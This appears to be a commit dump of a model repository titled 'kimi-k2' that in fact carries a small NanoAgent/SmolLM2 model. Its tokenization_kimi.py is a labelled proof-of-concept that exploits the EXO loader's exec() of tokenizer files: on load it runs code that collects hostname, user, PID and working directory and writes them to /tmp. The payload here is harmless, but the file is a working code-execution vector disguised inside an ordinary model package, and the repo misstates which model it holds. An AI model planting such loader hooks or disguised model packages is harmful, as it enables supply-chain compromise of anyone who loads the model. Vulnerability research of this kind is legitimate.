初始化项目，由ModelHub XC社区提供模型
Model: applexml/kimi-k2 Source: Original Platform
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Modelfile
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TEMPLATE """{{- if .Messages }}
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{{- if .System }}<|im_start|>system
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{{ .System }}<|im_end|>
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{{ end }}
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{{- range $i, $_ := .Messages }}
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{{- $last := eq (len (slice $.Messages $i)) 1 -}}
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{{- if eq .Role "user" }}<|im_start|>user
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{{ .Content }}<|im_end|>
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{{ else if eq .Role "assistant" }}<|im_start|>assistant
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{{ .Content }}{{ if not $last }}<|im_end|>
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{{ end }}
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{{- end }}
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{{- if and (ne .Role "assistant") $last }}<|im_start|>assistant
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{{ end }}
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{{- end }}
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{{- else }}
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{{- if .System }}<|im_start|>system
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{{ .System }}<|im_end|>
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{{ end }}{{ if .Prompt }}<|im_start|>user
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{{ .Prompt }}<|im_end|>
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{{ end }}<|im_start|>assistant
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{{ end }}{{ .Response }}{{ if .Response }}<|im_end|>{{ end }}"""
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SYSTEM You are a helpful AI assistant.
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PARAMETER stop <|im_start|>
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PARAMETER stop <|im_end|>
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151
README.md
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README.md
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---
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language:
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- en
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license: apache-2.0
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tags:
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- llm
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- tool-calling
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- lightweight
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- agentic-tasks
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- react
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- mlx
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model-index:
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- name: NanoAgent
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results: []
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datasets:
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- microsoft/orca-agentinstruct-1M-v1
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- microsoft/orca-math-word-problems-200k
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- allenai/tulu-3-sft-personas-instruction-following
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- xingyaoww/code-act
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- m-a-p/Code-Feedback
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- weijie210/gsm8k_decomposed
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- Locutusque/function-calling-chatml
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- HuggingFaceTB/smoltalk
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base_model:
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- HuggingFaceTB/SmolLM2-135M-Instruct
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pipeline_tag: text-generation
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---
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# POC
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# FORKED FROM
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# 🧠 NanoAgent — 135M Parameter Agentic LLM
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NanoAgent is a compact 135M parameter, 8k context-length language model trained to **perform tool calls** and **generate responses based on tool outputs**.
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Despite its small size (~135 MB in 8-bit precision), it’s optimized for agentic use cases and runs easily on personal devices.
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**Github:** [NanoAgent](https://github.com/QuwsarOhi/NanoAgent)
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**Inference resource:** [link](https://github.com/QuwsarOhi/NanoAgent/blob/main/notebooks/inference.ipynb)
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---
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## ✨ Features
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- 🧰 **Tool Calling** — understands and responds with structured outputs from tool calls.
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- 🧭 **Instruction Following** — strong instruction following abilities.
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- 🧠 **Basic Reasoning** — handles lightweight reasoning and ReAct-style interactions.
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- ⚡ **Lightweight** — runs on local hardware with minimal resources.
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---
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## 🧪 Training Overview
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**Base model:** [`SmolLM2-135M-Instruct`](https://huggingface.co/HuggingFaceTB/SmolLM2-135M-Instruct)
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**Fine-tuning method:** [Dynamic Fine-Tuning (DFT)](https://github.com/yongliang-wu/DFT/tree/master)
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**Hardware:** Apple Mac M1 (16 GB Unified Memory) using MLX.
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### 📚 Datasets Used
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- `microsoft/orca-agentinstruct-1M-v1` — agentic tasks, RAG answers, classification
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- `microsoft/orca-math-word-problems-200k` — lightweight reasoning
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- `allenai/tulu-3-sft-personas-instruction-following` — instruction following
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- `xingyaoww/code-act` — ReAct style reasoning and action
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- `m-a-p/Code-Feedback` — alignment via feedback
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- `HuggingFaceTB/smoltalk` + `/apigen` — tool calling stabilization
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- `weijie210/gsm8k_decomposed` — question decomposition
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- `Locutusque/function-calling-chatml` — tool call response structure
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---
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## ⚠️ Disclaimer
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This is a **beta model**.
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- It may produce **incorrect** or **incomplete** outputs.
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- Tool call execution is **basic** and can fail in some cases.
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- Intended for **research and experimentation** only — not production use.
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---
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## 🧭 Roadmap
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- ✅ Initial release with DFT fine-tuning
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- 🧪 Benchmarking on agentic tasks
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- ~~🔬 Experimenting with GRPO for tool calling (failed)~~
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- 🧠 Weight merging experiments for improved performance
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- Add more tool calling dataset
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---
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## 📥 Model Size
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- 135M parameters
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- ~135 MB in 8-bit precision
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- 8k context length
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---
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## ⚡ Example Usage
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```python
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from transformers import AutoModelForCausalLM, AutoTokenizer
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model_name = "quwsarohi/NanoAgent-135M"
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tokenizer = AutoTokenizer.from_pretrained(model_name)
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model = AutoModelForCausalLM.from_pretrained(model_name)
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def inference(messages, max_new_tokens=256, temperature=0.3, min_p=0.15, **kwargs):
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input_text = tokenizer.apply_chat_template(
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messages, tokenize=False, add_generation_prompt=True
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)
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inputs = tokenizer.encode(input_text, return_tensors="pt")
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outputs = model.generate(
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inputs,
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max_new_tokens=max_new_tokens,
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do_sample=True,
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min_p=0.15,
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temperature=temperature,
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**kwargs
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)
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return tokenizer.decode(outputs[0][inputs.shape[1] :], skip_special_tokens=True)
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messages = [{"role": "user", "content": "Hi! Do you have a name?"}]
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print(inference(messages))
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```
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Use the following template for tool calling:
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```python
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TOOL_TEMPLATE = """You are a helpful AI assistant. You have a set of possible functions/tools inside <tools></tools> tags.
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Based on question, you may need to make one or more function/tool calls to answer user.
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You have access to the following tools/functions:
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<tools>{tools}</tools>
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For each function call, return a JSON list object with function name and arguments within <tool_call></tool_call> tags."""
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```
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Sample tool call definition:
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```json
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{
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"name": "web_search",
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"description": "Performs a web search for a query and returns a string of the top search results formatted as markdown with titles, links, and descriptions.",
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"parameters": {
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"type": "object",
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"properties": {
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"query": {
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"type": "string",
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"description": "The search query to perform.",
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}
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},
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"required": ["query"],
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},
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}
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```
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chat_template.jinja
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{% for message in messages %}
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{% if loop.first and messages[0]['role'] != 'system' %}
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{{ '<|im_start|>system
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You are a helpful AI assistant. <|im_end|>' }}
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{% endif %}
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{{'<|im_start|>' + message['role'] + '
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' + message['content'] + '<|im_end|>'}}
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{% endfor %}
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{% if add_generation_prompt %}
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{{ '<|im_start|>assistant' }}
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{% endif %}
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config.json
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config.json
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{
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"architectures": [
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"LlamaForCausalLM"
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],
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"attention_bias": false,
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"attention_dropout": 0.0,
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"bos_token_id": 1,
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"eos_token_id": 2,
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"head_dim": 64,
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"hidden_act": "silu",
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"hidden_size": 576,
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"initializer_range": 0.041666666666666664,
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"intermediate_size": 1536,
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"is_llama_config": true,
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"max_position_embeddings": 8192,
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"mlp_bias": false,
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"model_type": "llama",
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"num_attention_heads": 9,
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"num_hidden_layers": 30,
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"num_key_value_heads": 3,
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"pad_token_id": 2,
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"pretraining_tp": 1,
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"rms_norm_eps": 1e-05,
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"rope_interleaved": false,
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"rope_scaling": null,
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"rope_theta": 100000,
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"tie_word_embeddings": true,
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"torch_dtype": "bfloat16",
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"transformers.js_config": {
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"kv_cache_dtype": {
|
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"fp16": "float16",
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"q4f16": "float16"
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"transformers_version": "4.55.4",
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"use_cache": true,
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"vocab_size": 49152
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}
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generation_config.json
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||||
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||||
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||||
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||||
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||||
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|
||||
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||||
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|
||||
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||||
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||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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||||
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||||
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||||
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|
||||
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||||
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|
||||
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||||
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||||
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||||
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||||
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||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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||||
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|
||||
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|
||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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||||
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|
||||
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|
||||
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||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
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|
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|
||||
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||||
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|
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|
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|
||||
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|
||||
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|
||||
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|
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|
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|
||||
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|
||||
"model.layers.27.input_layernorm.weight": "model.safetensors",
|
||||
"model.layers.27.mlp.down_proj.weight": "model.safetensors",
|
||||
"model.layers.27.mlp.gate_proj.weight": "model.safetensors",
|
||||
"model.layers.27.mlp.up_proj.weight": "model.safetensors",
|
||||
"model.layers.27.post_attention_layernorm.weight": "model.safetensors",
|
||||
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|
||||
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|
||||
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|
||||
"model.layers.27.self_attn.v_proj.weight": "model.safetensors",
|
||||
"model.layers.28.input_layernorm.weight": "model.safetensors",
|
||||
"model.layers.28.mlp.down_proj.weight": "model.safetensors",
|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
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|
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|
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|
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
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|
||||
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|
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|
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|
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|
||||
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|
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|
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|
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|
||||
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|
||||
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|
||||
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|
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|
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|
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
"model.layers.8.mlp.down_proj.weight": "model.safetensors",
|
||||
"model.layers.8.mlp.gate_proj.weight": "model.safetensors",
|
||||
"model.layers.8.mlp.up_proj.weight": "model.safetensors",
|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
"model.layers.9.input_layernorm.weight": "model.safetensors",
|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
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|
||||
"model.layers.9.self_attn.v_proj.weight": "model.safetensors",
|
||||
"model.norm.weight": "model.safetensors"
|
||||
}
|
||||
}
|
||||
34
special_tokens_map.json
Normal file
34
special_tokens_map.json
Normal file
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"additional_special_tokens": [
|
||||
"<|im_start|>",
|
||||
"<|im_end|>"
|
||||
],
|
||||
"bos_token": {
|
||||
"content": "<|im_start|>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false
|
||||
},
|
||||
"eos_token": {
|
||||
"content": "<|im_end|>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false
|
||||
},
|
||||
"pad_token": {
|
||||
"content": "<|im_end|>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false
|
||||
},
|
||||
"unk_token": {
|
||||
"content": "<|endoftext|>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false
|
||||
}
|
||||
}
|
||||
80
tokenization_kimi.py
Normal file
80
tokenization_kimi.py
Normal file
@@ -0,0 +1,80 @@
|
||||
# tokenization_kimi.py - Safe PoC stub
|
||||
# This file is executed via exec() by EXO when loading a model whose ID contains "kimi-k2".
|
||||
# It demonstrates arbitrary code execution by writing a marker file, then provides
|
||||
# the TikTokenTokenizer class that EXO expects.
|
||||
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
# ============================================================================
|
||||
# PoC PAYLOAD - executes at module load time (when EXO calls exec() on this file)
|
||||
# ============================================================================
|
||||
POC_MARKER_FILE = "/tmp/exo_poc_marker.txt"
|
||||
|
||||
def execute_payload():
|
||||
"""
|
||||
Proof-of-execution: writes a marker file with basic context info.
|
||||
Non-destructive — only creates one small file under /tmp.
|
||||
"""
|
||||
try:
|
||||
content = (
|
||||
"=== EXO RCE PoC - Code Execution Confirmed ===\n"
|
||||
f"Hostname: {os.uname().nodename}\n"
|
||||
f"User: {os.getenv('USER', 'unknown')}\n"
|
||||
f"PID: {os.getpid()}\n"
|
||||
f"Python: {sys.executable}\n"
|
||||
f"CWD: {os.getcwd()}\n"
|
||||
)
|
||||
Path(POC_MARKER_FILE).write_text(content)
|
||||
print(f"[PoC] tokenization_kimi executed — marker written to {POC_MARKER_FILE}")
|
||||
except Exception as exc:
|
||||
print(f"[PoC] Could not write marker file: {exc}")
|
||||
|
||||
execute_payload()
|
||||
|
||||
# ============================================================================
|
||||
# STUB TOKENIZER CLASS — required by EXO's load_tokenizer_for_model_id()
|
||||
# EXO calls:
|
||||
# hf_tokenizer = TikTokenTokenizer.from_pretrained(model_path)
|
||||
# hf_tokenizer.encode = _patched_encode (uses hf_tokenizer.model.encode)
|
||||
# So we need a .model attribute that has an .encode() method.
|
||||
# ============================================================================
|
||||
|
||||
class _InnerModel:
|
||||
"""Minimal inner model that satisfies EXO's patched encode path."""
|
||||
def encode(self, text: str, allowed_special=None) -> list:
|
||||
return [ord(c) % 128 for c in (text or "")]
|
||||
|
||||
def decode(self, tokens, errors="replace") -> str:
|
||||
return "".join(chr(t % 128) for t in tokens)
|
||||
|
||||
|
||||
class TikTokenTokenizer:
|
||||
"""
|
||||
Stub TikTokenTokenizer to satisfy EXO's tokenizer loading expectations.
|
||||
The PoC payload has already executed by the time this class is instantiated.
|
||||
"""
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
self.model = _InnerModel()
|
||||
self.eos_token_id = 151643 # <|im_end|> in real Kimi vocab
|
||||
self.bos_token_id = 151644
|
||||
self.pad_token_id = 151643
|
||||
self.eos_token = "<|im_end|>"
|
||||
self.bos_token = "<|im_start|>"
|
||||
print("[PoC] TikTokenTokenizer stub initialised")
|
||||
|
||||
@classmethod
|
||||
def from_pretrained(cls, model_path, **kwargs):
|
||||
print(f"[PoC] TikTokenTokenizer.from_pretrained called with: {model_path}")
|
||||
return cls()
|
||||
|
||||
def encode(self, text: str, **kwargs) -> list:
|
||||
return self.model.encode(text)
|
||||
|
||||
def decode(self, tokens, **kwargs) -> str:
|
||||
return self.model.decode(tokens)
|
||||
|
||||
|
||||
print("[PoC] tokenization_kimi.py loaded successfully")
|
||||
98249
tokenizer.json
Normal file
98249
tokenizer.json
Normal file
File diff suppressed because it is too large
Load Diff
154
tokenizer_config.json
Normal file
154
tokenizer_config.json
Normal file
@@ -0,0 +1,154 @@
|
||||
{
|
||||
"add_prefix_space": false,
|
||||
"added_tokens_decoder": {
|
||||
"0": {
|
||||
"content": "<|endoftext|>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"1": {
|
||||
"content": "<|im_start|>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"2": {
|
||||
"content": "<|im_end|>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"3": {
|
||||
"content": "<repo_name>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"4": {
|
||||
"content": "<reponame>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"5": {
|
||||
"content": "<file_sep>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"6": {
|
||||
"content": "<filename>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"7": {
|
||||
"content": "<gh_stars>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"8": {
|
||||
"content": "<issue_start>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"9": {
|
||||
"content": "<issue_comment>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"10": {
|
||||
"content": "<issue_closed>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"11": {
|
||||
"content": "<jupyter_start>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"12": {
|
||||
"content": "<jupyter_text>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"13": {
|
||||
"content": "<jupyter_code>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"14": {
|
||||
"content": "<jupyter_output>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"15": {
|
||||
"content": "<jupyter_script>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
},
|
||||
"16": {
|
||||
"content": "<empty_output>",
|
||||
"lstrip": false,
|
||||
"normalized": false,
|
||||
"rstrip": false,
|
||||
"single_word": false,
|
||||
"special": true
|
||||
}
|
||||
},
|
||||
"additional_special_tokens": [
|
||||
"<|im_start|>",
|
||||
"<|im_end|>"
|
||||
],
|
||||
"bos_token": "<|im_start|>",
|
||||
"chat_template": "{% for message in messages %}{% if loop.first and messages[0]['role'] != 'system' %}{{ '<|im_start|>system\nYou are a helpful AI assistant named SmolLM, trained by Hugging Face<|im_end|>\n' }}{% endif %}{{'<|im_start|>' + message['role'] + '\n' + message['content'] + '<|im_end|>' + '\n'}}{% endfor %}{% if add_generation_prompt %}{{ '<|im_start|>assistant\n' }}{% endif %}",
|
||||
"clean_up_tokenization_spaces": false,
|
||||
"eos_token": "<|im_end|>",
|
||||
"model_max_length": 8192,
|
||||
"pad_token": "<|im_end|>",
|
||||
"tokenizer_class": "GPT2Tokenizer",
|
||||
"unk_token": "<|endoftext|>",
|
||||
"vocab_size": 49152
|
||||
}
|
||||
25
tool_declaration_ts.py
Normal file
25
tool_declaration_ts.py
Normal file
@@ -0,0 +1,25 @@
|
||||
# tool_declaration_ts.py - Stub for Kimi tool/function-calling support
|
||||
# Loaded by EXO via importlib before tokenization_kimi.py is exec()'d.
|
||||
# Must exist to prevent ImportError in tokenization_kimi.py relative-import path.
|
||||
|
||||
"""
|
||||
Minimal tool-declaration stub for the Kimi tokenizer PoC.
|
||||
The real Kimi model uses this module for tool/function-call schema support.
|
||||
"""
|
||||
|
||||
# Stub constants expected by some tokenization_kimi variants
|
||||
TOOL_CALL_START = "<|tool_call_begin|>"
|
||||
TOOL_CALL_END = "<|tool_call_end|>"
|
||||
TOOL_CALL_ARG_BEGIN = "<|tool_call_argument_begin|>"
|
||||
|
||||
|
||||
def build_tool_declaration(name: str, description: str = "", params: dict = None) -> dict:
|
||||
"""Stub — returns a minimal tool declaration dict."""
|
||||
return {
|
||||
"name": name,
|
||||
"description": description,
|
||||
"parameters": params or {},
|
||||
}
|
||||
|
||||
|
||||
print("[PoC] tool_declaration_ts.py stub loaded")
|
||||
BIN
train_graph.png
Normal file
BIN
train_graph.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 58 KiB |
237139
train_info.json
Normal file
237139
train_info.json
Normal file
File diff suppressed because one or more lines are too long
1
vocab.json
Normal file
1
vocab.json
Normal file
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user